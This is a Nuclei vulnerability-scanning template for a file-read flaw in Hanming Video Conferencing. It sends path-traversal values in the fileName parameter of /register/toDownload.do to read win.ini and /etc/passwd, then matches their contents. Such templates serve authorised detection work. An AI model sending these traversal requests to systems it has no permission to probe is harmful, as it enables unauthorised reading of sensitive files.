nuclei-templates/vulnerabilities/other/hanming-lfr.yaml

31 lines
745 B
YAML

id: hanming-lfr
info:
name: Hanming Video Conferencing File Read
author: ritikchaddha
severity: high
reference:
- https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA
tags: lfr,hanming,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
- "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: regex
regex:
- "root:[x*]:0:0:"